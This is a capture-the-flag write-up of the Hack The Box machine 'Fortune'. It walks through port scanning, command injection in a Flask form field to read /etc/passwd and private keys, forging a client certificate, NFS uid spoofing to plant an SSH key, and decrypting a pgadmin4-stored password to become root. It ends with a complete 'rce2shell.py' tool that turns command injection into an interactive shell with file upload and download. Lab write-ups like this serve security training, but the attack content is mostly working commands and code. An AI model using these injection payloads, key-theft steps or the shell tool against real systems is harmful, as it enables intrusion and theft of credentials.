Fortune write-up
Ανάλυση του Fortune
Enumeration
Port scanning
Let’s scan the full range of TCP and UDP ports using my tool htbscan.py
$ sudo htbscan.py 10.10.10.127
Running command: sudo masscan -e tun0 -p0-65535 --max-rate 500 --interactive 10.10.10.127
Starting masscan 1.0.4 (http://bit.ly/14GZzcT) at 2019-03-12 09:10:57 GMT
-- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [65536 ports/host]
Discovered open port 80/tcp on 10.10.10.127
Discovered open port 22/tcp on 10.10.10.127
Discovered open port 443/tcp on 10.10.10.127
Running command: sudo nmap -A -p22,80,443 10.10.10.127
Starting Nmap 7.70 ( https://nmap.org ) at 2019-03-12 11:20 EET
Nmap scan report for 10.10.10.127
Host is up (0.059s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9 (protocol 2.0)
| ssh-hostkey:
| 2048 07:ca:21:f4:e0:d2:c6:9e:a8:f7:61:df:d7:ef:b1:f4 (RSA)
| 256 30:4b:25:47:17:84:af:60:e2:80:20:9d:fd:86:88:46 (ECDSA)
|_ 256 93:56:4a:ee:87:9d:f6:5b:f9:d9:25:a6:d8:e0:08:7e (ED25519)
80/tcp open http OpenBSD httpd
|_http-server-header: OpenBSD httpd
|_http-title: Fortune
443/tcp open ssl/https?
|_ssl-date: TLS randomness does not represent time
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: OpenBSD 4.0 (95%), OpenBSD 4.4 - 4.5 (95%), OpenBSD 6.0 - 6.1 (94%), OpenBSD 5.0 (94%), OpenBSD 5.0 - 5.8 (94%), OpenBSD 4.9 (93%), OpenBSD 4.6 (93%), FreeBSD 10.0-CURRENT (93%), OpenBSD 4.7 (92%), OpenBSD 6.0 (92%)
No exact OS matches for host (test conditions non-ideal).
Port 80
Let’s brute-force directories and files on port 80 using gobuster:
$ gobuster -u http://10.10.10.127 -w /opt/DirBuster/directory-list-2.3-medium.txt -t 50
=====================================================
Gobuster v2.0.1 OJ Reeves (@TheColonial)
=====================================================
[+] Mode : dir
[+] Url/Domain : http://10.10.10.127/
[+] Threads : 50
[+] Wordlist : /opt/DirBuster/directory-list-2.3-medium.txt
[+] Status codes : 200,204,301,302,307,403
[+] Timeout : 10s
=====================================================
2019/03/12 11:34:11 Starting gobuster
=====================================================
/fortune (Status: 301)
/select (Method not allowed)
Port 443
When we try to connect to port 443 (https), the browser ask us for a client certificate. We can run a sslyze scan to verify it and get more info:
$ sslyze --regular 10.10.10.127
...
CHECKING HOST(S) AVAILABILITY
-----------------------------
10.10.10.127:443 => 10.10.10.127 WARNING: Server REQUIRED client authentication, specific plugins will fail.
SCAN RESULTS FOR 10.10.10.127:443 - 10.10.10.127
------------------------------------------------
* Downgrade Attacks:
TLS_FALLBACK_SCSV: OK - Supported
* Deflate Compression:
OK - Compression disabled
* OpenSSL CCS Injection:
OK - Not vulnerable to OpenSSL CCS injection
* Certificate Information:
Content
SHA1 Fingerprint: f5528e05f76ef7013a6ce1b9888e60aa36c4e4a6
Common Name: fortune.htb
Issuer: Fortune Intermediate CA
Serial Number: 4096
Not Before: 2018-10-30 01:13:42
Not After: 2019-11-09 01:13:42
Signature Algorithm: sha256
Public Key Algorithm: RSA
Key Size: 2048
Exponent: 65537 (0x10001)
DNS Subject Alternative Names: []
...
Exploitation
Gaining RCE due to command Injection
If we visit http://10.10.10.127/, we see a form:
<form action="/select" method="POST">
<input type="radio" name="db" value="fortunes"> fortunes<br>
<input type="radio" name="db" value="fortunes2"> fortunes2<br>
<input type="radio" name="db" value="recipes"> recipes<br>
<input type="radio" name="db" value="startrek"> startrek<br>
<input type="radio" name="db" value="zippy"> zippy<br>
<br>
<input type="submit" value="Submit">
</form>
The parameter ‘db’ is vulnerable to command injection:
$ curl -X POST http://10.10.10.127/select --data 'db=whatever|id'
<!DOCTYPE html>
<html>
<head>
<title>Your fortune</title>
<meta name='viewport' content='width=device-width, initial-scale=1'>
<meta http-equiv="X-UA-Compatible" content="IE=edge">
</head>
<body>
<h2>Your fortune is:</h2>
<p><pre>
uid=512(_fortune) gid=512(_fortune) groups=512(_fortune)
</pre><p>
<p>Try <a href='/'>again</a>!</p>
</body>
Thus, we have gained Remote Command Execution to this machine.
Here is the relevant backend code (fortuned.py) for reference:
from flask import Flask, request, render_template, abort
import os
app = Flask(__name__)
@app.route('/select', methods=['POST'])
def fortuned():
cmd = '/usr/games/fortune '
dbs = ['fortunes', 'fortunes2', 'recipes', 'startrek', 'zippy']
selection = request.form['db']
shell_cmd = cmd + selection
result = os.popen(shell_cmd).read()
return render_template('display.html', output=result)
Acquiring a client certificate
If we search a little the home folders, we find some private keys:
$ curl --silent -X POST http://10.10.10.127/select --data 'db=whatever|ls -al /home/bob/ca/intermediate/private/'
...
total 20
drwxr-xr-x 2 bob bob 512 Oct 29 2018 .
drwxr-xr-x 7 bob bob 512 Nov 3 2018 ..
-r-------- 1 bob bob 1675 Oct 29 2018 fortune.htb.key.pem
-rw-r--r-- 1 bob bob 3243 Oct 29 2018 intermediate.key.pem
...
Well, we don’t have permissions to read fortune.htb.key.pem, but we can read intermediate.key.pem:
$ curl --silent -X POST http://10.10.10.127/select --data 'db=whatevat|cat /home/bob/ca/intermediate/private/intermediate.key.pem' | grep -zo '\-\-.*\-\-' > intermediate.key.pem
Inside /home/bob/ca/intermediate/certs/ there is the respective certificate:
$ curl --silent -X POST http://10.10.10.127/select --data 'db=whatever|cat /home/bob/ca/intermediate/certs/intermediate.cert.pem' | grep -zo '\-\-.*\-\-' > intermediate.cert.pem
We can combine the certificate and private key to a pkcs#12 file which we can import to our browser:
$ openssl pkcs12 -inkey intermediate.key.pem -in intermediate.cert.pem -export -out client.p12
Enter Export Password: pass
Verifying - Enter Export Password: pass
Now, let’s import client.p12 to your browser and visit https://10.10.10.147 (When we are being asked for it, we choose our recently imported client certificate. We also have to add an exception for the self-signed certificate of the website server). If we want to use curl the following command is sufficient:
$ curl --insecure --key intermediate.key.pem --cert intermediate.cert.pem https://10.10.10.127
<!DOCTYPE html>
<html>
<head>
<title>Elevated network access</title>
<meta name='viewport' content='width=device-width, initial-scale=1'>
<meta http-equiv="X-UA-Compatible" content="IE=edge">
</head>
<body>
<p>
You will need to use the local authpf service to obtain
elevated network access. If you do not already have the appropriate
SSH key pair, then you will need to <a href='/generate'>generate</a>
one and configure your local system appropriately to proceed.
</p>
</body>
</html>
SSH authentication to authpf
It works! If we visit https://10.10.10.127/generate we see that:
AuthPF SSH Access
The following public key has been added to the database of authorized keys:
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC5mx7yvTtW2FYsO+zwdqePx+44nyc+PnzD/4u+vS3nEIyQMUqeKKIFBMLNiKLnMfCUb4KZWm9r4qG45NWSITDF7t70z1co4ZrDz5wyLhQxZiZ2ZK9AzIzFECfYTFCMiLO7WAWS2fyK/KiYftFo6BNySgI/+tRuzZmaqbNqkjwF7o1ppaHUS415stjzNm+ohhMtVY5gDxsJen/aYzyPYH/ac4LOHNWqnxE1m21qyITGOQlCOjOP4wVfHbaT7mTBUSPDuHnA68WdAV0hwIKNOSFz/KiMA9yqbA7Tswpv2njS9FTta+yfeIcDdNcio5OVr5FrEpiljL88LIwXz1uoC5yL
The corresponding private key is as follows:
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAuZse8r07VthWLDvs8Hanj8fuOJ8nPj58w/+Lvr0t5xCMkDFK
...
BbDVIRZzFu/b5uxjITX6yCIu5Ylb6cnpqQ+sqwYbYQm1HJ6PRhwj
-----END RSA PRIVATE KEY-----
Please save the above key pair to your local system with appropriate file permissions and use your OpenSSH client with the -i option to obtain elevated network access to the server.
Please note: If the IP address of your local system changes, then you may need to generate a new key pair.
We can copy this private key and paste it into a file, but -as you have noticed- I prefer doing things a bit differently (^_^):
$ curl --silent --insecure --key intermediate.key.pem --cert intermediate.cert.pem https://10.10.10.127/generate | grep -zo '\-\-.*\-\-' > fortune_id_rsa
Don’t forget to set the required strict permissions:
chmod 600 fortune_id_rsa
But for whom user is this key? Let’s examine /etc/passwd
$ curl -X POST http://10.10.10.127/select --data 'db=whatever|cat /etc/passwd'
root:*:0:0:Charlie &:/root:/bin/ksh
...
charlie:*:1000:1000:Charlie:/home/charlie:/bin/ksh
bob:*:1001:1001::/home/bob:/bin/ksh
nfsuser:*:1002:1002::/home/nfsuser:/usr/sbin/authpf
We notice that one user has been set for authpf as his user shell. Let’s see what happens if we try to connect using this nfsuser user and the private key we acquired:
$ ssh -i fortune_id_rsa nfsuser@10.10.10.127
Hello nfsuser. You are authenticated from host "10.10.12.134"
OK. We have been authenticated but we cannot execute any command… What exactly is authpf?
The authpf utility is a user shell for authenticating gateways. An authenticating gateway is just like a regular network gateway (also known as a router) except that users must first authenticate themselves to it before their traffic is allowed to pass through. When a user’s shell is set to /usr/sbin/authpf and they log in using SSH, authpf will make the necessary changes to the active pf ruleset so that the user’s traffic is passed through the filter and/or translated using NAT/redirection. Once the user logs out or their session is disconnected, authpf will remove any rules loaded for the user and kill any stateful connections the user has open. Because of this, the ability of the user to pass traffic through the gateway only exists while the user keeps their SSH session open.
Hmmm… Interesting…
2nd Enumeration (having ntfuser authenticated to authpf via ssh)
Let’s try to enumerate the ports/services again. This time while we are authenticated to authpf as ntfuser via ssh (make sure you have/keep that ssh session open):
$ sudo htbscan.py 10.10.10.127
Running command: sudo masscan -e tun0 -p0-65535 --max-rate 500 --interactive 10.10.10.127
Starting masscan 1.0.4 (http://bit.ly/14GZzcT) at 2019-03-15 21:00:54 GMT
-- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [65536 ports/host]
Discovered open port 111/tcp on 10.10.10.127
Discovered open port 817/tcp on 10.10.10.127
Discovered open port 2049/tcp on 10.10.10.127
Discovered open port 8081/tcp on 10.10.10.127
Discovered open port 80/tcp on 10.10.10.127
Discovered open port 443/tcp on 10.10.10.127
Discovered open port 22/tcp on 10.10.10.127
Running command: sudo nmap -A -p22,80,111,443,817,2049,8081 10.10.10.127
Starting Nmap 7.70 ( https://nmap.org ) at 2019-03-15 23:04 EET
Nmap scan report for fortune.htb (10.10.10.127)
Host is up (0.067s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9 (protocol 2.0)
| ssh-hostkey:
| 2048 07:ca:21:f4:e0:d2:c6:9e:a8:f7:61:df:d7:ef:b1:f4 (RSA)
| 256 30:4b:25:47:17:84:af:60:e2:80:20:9d:fd:86:88:46 (ECDSA)
|_ 256 93:56:4a:ee:87:9d:f6:5b:f9:d9:25:a6:d8:e0:08:7e (ED25519)
80/tcp open http OpenBSD httpd
|_http-server-header: OpenBSD httpd
|_http-title: Fortune
111/tcp open rpcbind 2 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2 111/tcp rpcbind
| 100000 2 111/udp rpcbind
| 100003 2,3 2049/tcp nfs
| 100003 2,3 2049/udp nfs
| 100005 1,3 817/tcp mountd
|_ 100005 1,3 889/udp mountd
443/tcp open ssl/https?
|_ssl-date: TLS randomness does not represent time
817/tcp open mountd 1-3 (RPC #100005)
2049/tcp open nfs 2-3 (RPC #100003)
8081/tcp open http OpenBSD httpd
|_http-server-header: OpenBSD httpd
|_http-title: pgadmin4
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: OpenBSD 4.4 - 4.5 (95%), OpenBSD 6.0 - 6.1 (95%), OpenBSD 5.0 - 5.8 (95%), FreeBSD 10.0-CURRENT (94%), OpenBSD 4.0 (94%), OpenBSD 5.0 (93%), OpenBSD 4.1 (93%), OpenBSD 4.6 (93%), OpenBSD 4.7 (93%), OpenBSD 6.0 (93%)
Wow! Now, we have access to more ports! We notice an nfs service:
$ showmount -e 10.10.10.127
Export list for 10.10.10.127:
/home (everyone)
Spoofing uid/gid using nfsshell
Neat, we have access to an nfs mount! We can use nfsshell to spoof our uid/gid:
$ sudo nfsshell
nfs> host 10.10.10.127
Using a privileged port (1023)
Open 10.10.10.127 (10.10.10.127) TCP
nfs> export
Export list for 10.10.10.127:
/home everyone
nfs> mount /home
Using a privileged port (1022)
Mount '/home', TCP, transfer size 65536 bytes.
nfs> uid 1000
nfs> gid 1000
nfs> cd charlie
nfs> ls
.
..
.Xdefaults
.cshrc
.cvsrc
.login
.mailrc
.profile
.ssh
mbox
user.txt
nfs> get user.txt
nfs> get mbox
nfs> quit
Unmount '/home'
Close '10.10.10.127'
$ cat user.txt
ad****************************40
Alternatively, If you have a user with uid=1000, you can simply mount the nfs share and read charlie’s files:
$ mkdir mnt_point
$ sudo mount -t nfs 10.10.10.127:/home mnt_point -o nolock
$ cat mnt_point/charlie/user.txt
ad****************************40
Getting charlie shell
Of course we can add our public key to charlie’s authorized_keys:
$ cat ~/.ssh/id_rsa.pub >> mnt_point/charlie/.ssh/authorized_keys
Or we can use nfsshell for this as we did before:
$ sudo nfsshell
nfs> host 10.10.10.127
Using a privileged port (1023)
Open 10.10.10.127 (10.10.10.127) TCP
nfs> mount /home
Using a privileged port (1022)
Mount '/home', TCP, transfer size 65536 bytes.
nfs> uid 1000
nfs> gid 1000
nfs> cd charlie
nfs> cd .ssh
nfs> put id_rsa.pub authorized_keys
WARNING: Create failed: File exists
nfs> quit
Unmount '/home'
Close '10.10.10.127'
Now, we can connect via SSH using public key authenticaion:
$ ssh -i ~/.ssh/id_rsa2 charlie@10.10.10.127
Last login: Sat Aug 3 04:36:55 2019 from 10.10.12.158
OpenBSD 6.4 (GENERIC) #349: Thu Oct 11 13:25:13 MDT 2018
Welcome to OpenBSD: The proactively secure Unix-like operating system.
fortune$
Privilege escalation
Let’s examine what there is inside ‘mbox’ file:
$ cat mbox
From bob@fortune.htb Sat Nov 3 11:18:51 2018
Return-Path: <bob@fortune.htb>
Delivered-To: charlie@fortune.htb
Received: from localhost (fortune.htb [local])
by fortune.htb (OpenSMTPD) with ESMTPA id bf12aa53
for <charlie@fortune.htb>;
Sat, 3 Nov 2018 11:18:51 -0400 (EDT)
From: <bob@fortune.htb>
Date: Sat, 3 Nov 2018 11:18:51 -0400 (EDT)
To: charlie@fortune.htb
Subject: pgadmin4
Message-ID: <196699abe1fed384@fortune.htb>
Status: RO
Hi Charlie,
Thanks for setting-up pgadmin4 for me. Seems to work great so far.
BTW: I set the dba password to the same as root. I hope you don't mind.
Cheers,
Bob
Password reuse… Let’s search /var/appsrv/pgadmin4/pgadmin4.db:
fortune$ strings /var/appsrv/pgadmin4/pgadmin4.db | grep bob
bob@fortune.htb$pbkdf2-sha512$25000$z9nbm1Oq9Z5TytkbQ8h5Dw$Vtx9YWQsgwdXpBnsa8BtO5kLOdQGflIZOQysAy7JdTVcRbv/6csQHAJCAIJT9rLFBawClFyMKnqKNL5t3Le9vg
fortune$ strings /var/appsrv/pgadmin4/pgadmin4.db | grep charlie
charlie@fortune.htb$pbkdf2-sha512$25000$3hvjXAshJKQUYgxhbA0BYA$iuBYZKTTtTO.cwSvMwPAYlhXRZw8aAn9gBtyNQW3Vge23gNUMe95KqiAyf37.v1lmCunWVkmfr93Wi6.W.UzaQ
fortune$ strings /var/appsrv/pgadmin4/pgadmin4.db | grep dba
postgresdbautUU0jkamCZDmqFLOrAuPjFxL0zp8zWzISe5MF0GY/l8Silrmu3caqrtjaVjLQlvFFEgESGzprefer<STORAGE_DIR>/.postgresql/postgresql.crt<STORAGE_DIR>/.postgresql/postgresql.key22
Luckily for us, pgadmin4 is open source. Let’s grab this script:
https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py
All we need to do is to add one line in the end:
##########################################################################
#
# pgAdmin 4 - PostgreSQL Tools
#
# Copyright (C) 2013 - 2019, The pgAdmin Development Team
# This software is released under the PostgreSQL Licence
#
#########################################################################
"""This File Provides Cryptography."""
from __future__ import division
import base64
import hashlib
import os
import six
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives.ciphers import Cipher
from cryptography.hazmat.primitives.ciphers.algorithms import AES
from cryptography.hazmat.primitives.ciphers.modes import CFB8
padding_string = b'}'
iv_size = AES.block_size // 8
def decrypt(ciphertext, key):
"""
Decrypt the AES encrypted string.
Parameters:
ciphertext -- Encrypted string with AES method.
key -- key to decrypt the encrypted string.
"""
ciphertext = base64.b64decode(ciphertext)
iv = ciphertext[:iv_size]
cipher = Cipher(AES(pad(key)), CFB8(iv), default_backend())
decryptor = cipher.decryptor()
return decryptor.update(ciphertext[iv_size:]) + decryptor.finalize()
def pad(key):
"""Add padding to the key."""
if isinstance(key, six.text_type):
key = key.encode()
# Key must be maximum 32 bytes long, so take first 32 bytes
key = key[:32]
# If key size is 16, 24 or 32 bytes then padding is not required
if len(key) in (16, 24, 32):
return key
# Add padding to make key 32 bytes long
return key.ljust(32, padding_string)
print(decrypt("utUU0jkamCZDmqFLOrAuPjFxL0zp8zWzISe5MF0GY/l8Silrmu3caqrtjaVjLQlvFFEgESGz", "$pbkdf2-sha512$25000$z9nbm1Oq9Z5TytkbQ8h5Dw$Vtx9YWQsgwdXpBnsa8BtO5kLOdQGflIZOQysAy7JdTVcRbv/6csQHAJCAIJT9rLFBawClFyMKnqKNL5t3Le9vg"))
That is we use the ‘decrypt’ function to decrypt dba’s password which was encrypted using Bob’s AES encyption key. PBKDF2 (Password-Based Key Derivation Function 2) is a key derivation function with a sliding computational cost (to reduce susceptibility to brute force attacks). We run the script and we get the password for root:
$ python crypto.py
b'R3us3-0f-a-P4ssw0rdl1k3th1s?_B4D.ID3A!'
fortune$ su root
Password: R3us3-0f-a-P4ssw0rdl1k3th1s?_B4D.ID3A!
fortune# cat /root/root.txt
33****************************f8
Bonus script: rce2shell.py
Sometimes, we have some kind of Remote Command Execution but we cannot gain a full working shell (due to firewalls et.c). I wrote this script for such cases. It tries to emulate a shell experience. Moreover, it offers download/upload capabilities using a variety of OS tools. Note, though, that this is still work in progress. In the future, I would like to make it quite broad in the sense of OSes/tools and RCEs it supports. But I don’t know if I ever find the time to do that.
Anyway, for the time being, you can try it on the Fortune box.
#!/usr/bin/env python
from __future__ import print_function
# Author: Alamot
# Status: WIP (Work In Progress)
#
# Define a variable rce like this:
# rce = {"method":"POST",
# "url":"http://10.10.10.127/select",
# "data":"db=fortunes2%7C__RCE__%20%23",
# "remote_os":"unix",
# "timeout":30}
#
# Use __RCE__ to mark the command injection point.
#
# To upload a file type: UPLOAD local_path remote_path
# e.g. UPLOAD myfile.txt /tmp/myfile.txt
# If you omit the remote_path it uploads the file on the current working folder.
#
# To download a file: DOWNLOAD remote_path
# e.g. $ DOWNLOAD /temp/myfile.txt
import os
import re
import sys
import uuid
import copy
import tqdm
import shlex
import base64
import hashlib
import requests
try:
# Python 2.X
from urllib import quote
input = raw_input
except ImportError:
from urllib.parse import quote # Python 3+
DEBUG = False
BUFFER_SIZE = 5000
# Redirect stderr to stdout?
ERR2OUT = True
# A unique sequence of characters that marks start/end of output.
UNIQUE_SEQ = uuid.uuid4().hex[0:6]
UNIX_TOOLS = {"b64enc": {"base64":"base64",
"openssl":"openssl base64 -A"},
"b64dec": {"base64":"base64 -d",
"openssl":"openssl base64 -A -d",
"python":"python -m base64 -d"},
"md5sum": {"md5sum":"md5sum",
"md5":"md5 -q"}}
def memoize(function):
memo = {}
def wrapper(*args):
if args in memo:
return memo[args]
else:
rv = function(*args)
memo[args] = rv
return rv
return wrapper
def send_command(command, rce, enclose=False):
try:
client = requests.session()
client.verify = False
client.keep_alive = False
if enclose:
cmd = "echo " + UNIQUE_SEQ + ";" + command + ";echo " + UNIQUE_SEQ
else:
cmd = command
if DEBUG: print(cmd)
if rce["method"] == "GET":
response = client.get(url, timeout=rce["timeout"])
elif rce["method"] == "POST":
data = rce["data"].replace("__RCE__", quote(cmd))
headers = {"Content-Type":"application/x-www-form-urlencoded"}
response = client.post(rce["url"], data=data,
headers=headers,
timeout=rce["timeout"])
if response.status_code != 200:
print("Status: "+str(response.status_code))
if DEBUG: print(response.text)
if enclose:
return response.text.split(UNIQUE_SEQ)[1]
else:
return response
except requests.exceptions.RequestException as e:
print(str(e))
finally:
if client:
client.close()
@memoize
def find_tool(tool_type):
for tool_name in sorted(UNIX_TOOLS[tool_type].keys()):
cmd = "which " + tool_name + " && echo FOUND || echo FAILED"
response = send_command(cmd, rce)
if "FOUND" in response.text:
return UNIX_TOOLS[tool_type][tool_name]
return None
def download(rce, remote_path):
cmd = find_tool("md5sum") + " '" + remote_path + "'"
response = send_command(cmd, rce, enclose=True)
remote_md5sum = response.strip()[:32]
cmd = "cat '" + remote_path + "' | " + find_tool("b64enc")
b64content = send_command(cmd, rce, enclose=True)
content = base64.b64decode(b64content)
local_md5sum = hashlib.md5(content).hexdigest()
print("Remote md5sum: " + remote_md5sum)
print(" Local md5sum: " + local_md5sum)
if local_md5sum == remote_md5sum:
print(" MD5 hashes match!")
else:
print(" ERROR! MD5 hashes do NOT match!")
with open(os.path.basename(remote_path), "wb") as f:
f.write(content)
def upload(rce, local_path, remote_path):
print("Uploading "+local_path+" to "+remote_path)
if rce["remote_os"] == "unix":
cmd = "> '" + remote_path + ".b64'"
elif rce["remote_os"] == "windows":
cmd = 'type nul > "' + remote_path + '.b64"'
send_command(cmd, rce)
with open(local_path, 'rb') as f:
data = f.read()
md5sum = hashlib.md5(data).hexdigest()
b64enc_data = base64.b64encode(data).decode('ascii')
print("Data length (b64-encoded): "+str(len(b64enc_data)/1024)+"KB")
for i in tqdm.tqdm(range(0, len(b64enc_data), BUFFER_SIZE), unit_scale=BUFFER_SIZE/1024, unit="KB"):
cmd = 'echo ' + b64enc_data[i:i+BUFFER_SIZE] + ' >> "' + remote_path + '.b64"'
send_command(cmd, rce)
#print("Remaining: "+str(len(b64enc_data)-i))
if rce["remote_os"] == "unix":
cmd = "cat '" + remote_path + ".b64' | " + find_tool("b64dec") + " > '" + remote_path + "'"
send_command(cmd, rce)
cmd = find_tool("md5sum") + " '" + remote_path + "'"
response = send_command(cmd, rce)
elif rce["remote_os"] == "windows":
cmd = 'certutil -decode "' + remote_path + '.b64" "' + remote_path + '"'
send_command(cmd, rce)
cmd = 'certutil -hashfile "' + remote_path + '" MD5'
response = send_command(cmd, rce)
if md5sum in response.text:
print(" MD5 hashes match: " + md5sum)
else:
print(" ERROR! MD5 hashes do NOT match!")
def shell(rce):
global DEBUG
stored_cwd = None
user_input = None
if rce["remote_os"] == "unix":
get_info = "whoami;hostname;pwd"
elif rce["remote_os"] == "windows":
get_info = 'echo %username%^|%COMPUTERNAME% & cd'
while True:
cmd = ""
if stored_cwd:
cmd += "cd " + stored_cwd + ";"
if user_input:
cmd += user_input
cmd += " 2>&1;" if ERR2OUT else ";"
cmd += get_info
response = send_command(cmd, rce, enclose=True)
lines = response.splitlines()
user, host, cwd = lines[-3:]
stored_cwd = cwd
for output in lines[1:-3]:
print(output)
user_input = input("[" + user + "@" + host + " " + cwd + "]$ ").rstrip("\n")
if user_input.lower().strip() == "exit":
return
elif user_input[:8] == "DEBUG ON":
DEBUG = True
user_input = "echo 'DEBUG is now ON'"
elif user_input[:9] == "DEBUG OFF":
DEBUG = False
user_input = "echo 'DEBUG is now OFF'"
elif user_input[:8] == "DOWNLOAD":
remote_path = shlex.split(user_input, posix=False)[1]
if remote_path[0] != '/':
remote_path = stored_cwd + "/" + remote_path
download(rce, remote_path)
user_input = "echo ' ***** DOWNLOAD FINISHED *****'"
elif user_input[:6] == "UPLOAD":
upload_cmd = shlex.split(user_input, posix=False)
local_path = upload_cmd[1]
if len(upload_cmd) < 3:
remote_path = stored_cwd + "/" + os.path.basename(local_path)
upload(rce, local_path, remote_path)
else:
remote_path = upload_cmd[2]
if remote_path[0] != '/':
remote_path = stored_cwd + "/" + remote_path
upload(rce, local_path, remote_path)
user_input = "echo ' ***** UPLOAD FINISHED *****'"
rce = {"method":"POST",
"url":"http://10.10.10.127/select",
"data":"db=fortunes2%7C__RCE__%20%23",
"remote_os":"unix",
"timeout":30}
shell(rce=rce)
sys.exit()
'''
EXAMPLE:
$ python rce2shell.py
[_fortune@fortune.htb /var/appsrv/fortune]$ ls -al
total 104
drwxr-xr-x 4 _fortune _fortune 512 Feb 3 05:08 .
drwxr-xr-x 5 root wheel 512 Nov 2 2018 ..
drwxrwxrwx 2 _fortune _fortune 512 Nov 2 2018 __pycache__
-rw-r--r-- 1 root _fortune 341 Nov 2 2018 fortuned.ini
-rw-r----- 1 _fortune _fortune 35638 Aug 3 06:00 fortuned.log
-rw-rw-rw- 1 _fortune _fortune 6 Aug 3 03:13 fortuned.pid
-rw-r--r-- 1 root _fortune 413 Nov 2 2018 fortuned.py
drwxr-xr-x 2 root _fortune 512 Nov 2 2018 templates
-rw-r--r-- 1 root _fortune 67 Nov 2 2018 wsgi.py
'''